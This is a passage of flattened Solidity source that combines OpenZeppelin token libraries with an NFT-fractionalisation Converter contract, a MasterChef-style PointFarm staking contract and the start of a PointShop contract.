constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: contracts/interfaces/IUnicFactory.sol pragma solidity >=0.5.0; interface IUnicFactory { event TokenCreated(address indexed caller, address indexed uToken); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getUToken(address uToken) external view returns (uint); function uTokens(uint) external view returns (address); function uTokensLength() external view returns (uint); function createUToken(uint256 totalSupply, uint8 decimals, string calldata name, string calldata symbol, uint256 threshold, string calldata description) external returns (address); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/Converter.sol pragma solidity 0.6.12; contract Converter is ERC20, ERC1155Receiver { using SafeMath for uint; // List of NFTs that have been deposited struct NFT { address contractAddr; uint256 tokenId; uint256 amount; bool claimed; } struct Bid { address bidder; uint256 amount; uint time; } mapping(uint256 => NFT) public nfts; // Current index and length of nfts uint256 public currentNFTIndex = 0; // If active, NFTs can’t be withdrawn bool public active = false; uint256 public totalBidAmount = 0; uint256 public unlockVotes = 0; uint256 public _threshold; address public issuer; string public _description; uint256 public cap; // Amount of uTokens each user has voted to unlock collection mapping(address => uint256) public unlockApproved; IUnicFactory public factory; // NFT index to Bid mapping(uint256 => Bid) public bids; // NFT index to address to amount mapping(uint256 => mapping(address => uint256)) public bidRefunds; uint public constant TOP_BID_LOCK_TIME = 3 days; event Deposited(uint256[] tokenIDs, uint256[] amounts, address contractAddr); event Refunded(); event Issued(); event BidCreated(address sender, uint256 nftIndex, uint256 bidAmount); event BidRemoved(address sender, uint256 nftIndex); event ClaimedNFT(address winner, uint256 nftIndex, uint256 tokenId); bytes private constant VALIDATOR = bytes('JCMY'); constructor (uint256 totalSupply, uint8 decimals, string memory name, string memory symbol, uint256 threshold, string memory description, address _issuer, IUnicFactory _factory) public ERC20(name, symbol) { _setupDecimals(decimals); issuer = _issuer; _description = description; _threshold = threshold; factory = _factory; cap = totalSupply; } // deposits an nft using the transferFrom action of the NFT contractAddr function deposit(uint256[] calldata tokenIDs, uint256[] calldata amounts, address contractAddr) external { require(msg.sender == issuer, "Converter: Only issuer can deposit"); require(tokenIDs.length <= 50, "Converter: A maximum of 50 tokens can be deposited in one go"); require(tokenIDs.length > 0, "Converter: You must specify at least one token ID"); if (ERC165Checker.supportsInterface(contractAddr, 0xd9b67a26)){ IERC1155(contractAddr).safeBatchTransferFrom(msg.sender, address(this), tokenIDs, amounts, VALIDATOR); for (uint8 i = 0; i < 50; i++){ if (tokenIDs.length == i){ break; } nfts[currentNFTIndex++] = NFT(contractAddr, tokenIDs[i], amounts[i], false); } } else if (ERC165Checker.supportsInterface(contractAddr, 0x80ac58cd)){ for (uint8 i = 0; i < 50; i++){ if (tokenIDs.length == i){ break; } IERC721(contractAddr).transferFrom(msg.sender, address(this), tokenIDs[i]); nfts[currentNFTIndex++] = NFT(contractAddr, tokenIDs[i], 1, false); } } emit Deposited(tokenIDs, amounts, contractAddr); } // Function that locks NFT collateral and issues the uTokens to the issuer function issue() external { require(msg.sender == issuer, "Converter: Only issuer can issue the tokens"); require(active == false, "Converter: Token is already active"); active = true; address feeTo = factory.feeTo(); uint256 feeAmount = 0; if (feeTo != address(0)) { // 0.5% of uToken supply is sent to feeToAddress if fee is on feeAmount = cap.div(200); _mint(feeTo, feeAmount); } _mint(issuer, cap - feeAmount); emit Issued(); } // Function that allows NFTs to be refunded (prior to issue being called) function refund(address _to) external { require(!active, "Converter: Contract is already active - cannot refund"); require(msg.sender == issuer, "Converter: Only issuer can refund"); // Only transfer maximum of 50 at a time to limit gas per call uint8 _i = 0; uint256 _index = currentNFTIndex; bytes memory data; while (_index > 0 && _i < 50){ NFT memory nft = nfts[_index - 1]; if (ERC165Checker.supportsInterface(nft.contractAddr, 0xd9b67a26)){ IERC1155(nft.contractAddr).safeTransferFrom(address(this), _to, nft.tokenId, nft.amount, data); } else if (ERC165Checker.supportsInterface(nft.contractAddr, 0x80ac58cd)){ IERC721(nft.contractAddr).safeTransferFrom(address(this), _to, nft.tokenId); } delete nfts[_index - 1]; _index--; _i++; } currentNFTIndex = _index; emit Refunded(); } function bid(uint256 nftIndex) external payable { require(unlockVotes < _threshold, "Converter: Release threshold has been met, no more bids allowed"); Bid memory topBid = bids[nftIndex]; require(topBid.bidder != msg.sender, "Converter: You have an active bid"); require(topBid.amount < msg.value, "Converter: Bid too low"); require(bidRefunds[nftIndex][msg.sender] == 0, "Converter: Collect bid refund"); bids[nftIndex] = Bid(msg.sender, msg.value, getBlockTimestamp()); bidRefunds[nftIndex][topBid.bidder] = topBid.amount; totalBidAmount += msg.value - topBid.amount; emit BidCreated(msg.sender, nftIndex, msg.value); } function unbid(uint256 nftIndex) external { Bid memory topBid = bids[nftIndex]; bool isTopBidder = topBid.bidder == msg.sender; if (unlockVotes >= _threshold) { require(!isTopBidder, "Converter: Release threshold has been met, winner can't unbid"); } if (isTopBidder) { require(topBid.time + TOP_BID_LOCK_TIME < getBlockTimestamp(), "Converter: Top bid locked"); totalBidAmount -= topBid.amount; bids[nftIndex] = Bid(address(0), 0, getBlockTimestamp()); (bool sent, bytes memory data) = msg.sender.call{value: topBid.amount}(""); require(sent, "Converter: Failed to send Ether"); emit BidRemoved(msg.sender, nftIndex); } else { uint256 refundAmount = bidRefunds[nftIndex][msg.sender]; require(refundAmount > 0, "Converter: no bid found"); bidRefunds[nftIndex][msg.sender] = 0; (bool sent, bytes memory data) = msg.sender.call{value: refundAmount}(""); require(sent, "Converter: Failed to send Ether"); } } // Claim NFT if address is winning bidder function claim(uint256 nftIndex) external { require(unlockVotes >= _threshold, "Converter: Threshold not met"); require(!nfts[nftIndex].claimed, "Converter: Already claimed"); Bid memory topBid = bids[nftIndex]; require(msg.sender == topBid.bidder, "Converter: Only winner can claim"); nfts[nftIndex].claimed = true; NFT memory winningNFT = nfts[nftIndex]; if (ERC165Checker.supportsInterface(winningNFT.contractAddr, 0xd9b67a26)){ bytes memory data; IERC1155(winningNFT.contractAddr).safeTransferFrom(address(this), topBid.bidder, winningNFT.tokenId, winningNFT.amount, data); } else if (ERC165Checker.supportsInterface(winningNFT.contractAddr, 0x80ac58cd)){ IERC721(winningNFT.contractAddr).safeTransferFrom(address(this), topBid.bidder, winningNFT.tokenId); } emit ClaimedNFT(topBid.bidder, nftIndex, winningNFT.tokenId); } // Approve collection unlock function approveUnlock(uint256 amount) external { require(unlockVotes < _threshold, "Converter: Threshold reached"); _transfer(msg.sender, address(this), amount); unlockApproved[msg.sender] += amount; unlockVotes += amount; } // Unapprove collection unlock function unapproveUnlock(uint256 amount) external { require(unlockVotes < _threshold, "Converter: Threshold reached"); require(unlockApproved[msg.sender] >= amount, "Converter: Not enough uTokens locked by user"); unlockVotes -= amount; unlockApproved[msg.sender] -= amount; _transfer(address(this), msg.sender, amount); } // Claim ETH function function redeemETH(uint256 amount) external { require(unlockVotes >= _threshold, "Converter: Threshold not met"); // Deposit uTokens if (amount > 0) { _transfer(msg.sender, address(this), amount); } // Combine approved balance + newly deposited balance uint256 finalBalance = amount + unlockApproved[msg.sender]; // Remove locked uTokens tracked for user unlockApproved[msg.sender] = 0; // Redeem ETH corresponding to uToken amount (bool sent, bytes memory data) = msg.sender.call{value: totalBidAmount.mul(finalBalance).div(this.totalSupply())}(""); require(sent, "Converter: Failed to send Ether"); } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } /** * ERC1155 Token ERC1155Receiver */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) override external returns(bytes4) { if(keccak256(_data) == keccak256(VALIDATOR)){ return 0xf23a6e61; } } function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) override external returns(bytes4) { if(keccak256(_data) == keccak256(VALIDATOR)){ return 0xbc197c81; } } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155MetadataURI.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol pragma solidity >=0.6.0 <0.8.0; /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using SafeMath for uint256; using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ constructor (string memory uri_) public { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin/contracts/token/ERC1155/ERC1155Burnable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn(address account, uint256 id, uint256 value) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } } // File: contracts/PointFarm.sol pragma solidity 0.6.12; // Copied from https://github.com/sushiswap/sushiswap/blob/master/contracts/MasterChef.sol // Modified by 0xLeia contract PointFarm is ERC1155Burnable, ERC1155Receiver, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; bytes private constant VALIDATOR = bytes('JCNH'); // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of points // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accPointsPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accPointsPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 uToken; // Address of LP token contract. uint256 lastRewardBlock; // Last block number that points distribution occurs. uint256 accPointsPerShare; // Accumulated points per share, times 1e12. See below. } // Whitelist mapping of address to bool mapping(address => bool) public whitelist; // Mapping of uToken to shopIDs mapping(address => uint256) public shopIDs; uint256 public currentShopIndex = 0; // Points created per block. uint256 public pointsPerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // The block number when pointfarming starts. uint256 public startBlock; address public shop; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); // New events so that the graph works event Add(address uToken, bool withUpdate); event MassUpdatePools(); event UpdatePool(uint256 pid); event URI(string _uri); constructor( uint256 _pointsPerBlock, uint256 _startBlock, string memory _uri ) public ERC1155(_uri) { pointsPerBlock = _pointsPerBlock; startBlock = _startBlock; } function setURI(string memory newuri) public onlyOwner { _setURI(newuri); emit URI(newuri); } // Unless being used for redeem, points are non transferrable function safeBatchTransferFrom(address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) override virtual public { require(from == address(this) || to == address(this), "Points can not be transferred out"); super.safeBatchTransferFrom(from, to, ids, amounts, data); } function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) override virtual public { require(from == address(this) || to == address(this), "Points can not be transferred out"); super.safeTransferFrom(from, to, id, amount, data); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new uToken to the pool. Can only be called by the shop contract. function add(IERC20 _uToken, bool _withUpdate) public { require(msg.sender == shop, "PointFarm: Only shop contract can add"); require(!whitelist[address(_uToken)]); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; poolInfo.push(PoolInfo({ uToken: _uToken, lastRewardBlock: lastRewardBlock, accPointsPerShare: 0 })); whitelist[address(_uToken)] = true; shopIDs[address(_uToken)] = currentShopIndex++; emit Add(address(_uToken), _withUpdate); } // Return rewards over the given _from to _to block. function getRewards(uint256 _from, uint256 _to) public view returns (uint256) { return _to.sub(_from).mul(pointsPerBlock); } // View function to see pending points on frontend. function pendingPoints(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPointsPerShare = pool.accPointsPerShare; uint256 uTokenSupply = pool.uToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && uTokenSupply != 0) { uint256 pointReward = getRewards(pool.lastRewardBlock, block.number); accPointsPerShare = accPointsPerShare.add(pointReward.mul(1e12).div(uTokenSupply)); } return user.amount.mul(accPointsPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } emit MassUpdatePools(); } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 uTokenSupply = pool.uToken.balanceOf(address(this)); if (uTokenSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 pointReward = getRewards(pool.lastRewardBlock, block.number); pool.accPointsPerShare = pool.accPointsPerShare.add(pointReward.mul(1e12).div(uTokenSupply)); pool.lastRewardBlock = block.number; emit UpdatePool(_pid); } // Deposit uTokens to PointFarm to farm points. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accPointsPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { bytes memory data; _mint(msg.sender, _pid, pending, data); } } if(_amount > 0) { pool.uToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accPointsPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw uTokens from PointFarm. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accPointsPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { bytes memory data; _mint(msg.sender, _pid, pending, data); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.uToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accPointsPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.uToken.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _pid, amount); } // Set mint rate function setMintRules(uint256 _pointsPerBlock) public onlyOwner { pointsPerBlock = _pointsPerBlock; } function setStartBlock(uint256 _startBlock) public onlyOwner { require(block.number < startBlock, "start block can not be modified after it has passed"); require(block.number < _startBlock, "new start block needs to be in the future"); startBlock = _startBlock; } // Change shop address function setShop(address _shop) public onlyOwner { shop = _shop; } /** * ERC1155 Token ERC1155Receiver */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) override external returns(bytes4) { if(keccak256(_data) == keccak256(VALIDATOR)){ return 0xf23a6e61; } } function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) override external returns(bytes4) { if(keccak256(_data) == keccak256(VALIDATOR)){ return 0xbc197c81; } } } // File: contracts/PointShop.sol pragma solidity 0.6.12; contract PointShop is ERC1155Receiver, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // List of NFTs that have been deposited struct NFT { address contractAddr; uint256 tokenId; uint256 amount; uint256 price; } // Track whether uToken has a shop mapping(address => bool) public shopExists; // Map uToken to internal NFT id to NFT mapping(address => mapping(uint256 => NFT)) public nfts; // Length of NFTs in each shop mapping(address => uint256) public currentNFTIndex; // Number of redeemed NFTs in each shop mapping(address => uint256) public redeemedNFTs; mapping(address => bool) public isPublic; mapping(address => bool) public notAnyAllowed; // Map uToken to address to boolean mapping(address => mapping(address => bool)) public isShopAdmin; // Map uToken to contract address to token ID to boolean mapping(address => mapping(address => mapping(uint256 => bool))) public allowedNFTs; address public farm; bytes private constant VALIDATOR = bytes('JCNH'); event Deposited(address uToken, uint256[] tokenIDs, uint256[] amounts, address contractAddr); constructor( address _farm ) public { farm = _farm; } function setConstraints(address _uToken, address _contract, uint256[] calldata _ids, bool _isAllowed, bool _notAnyAllowed) public { // Check if issuer OR shopAdmin require(Converter(_uToken).issuer() == msg.sender || 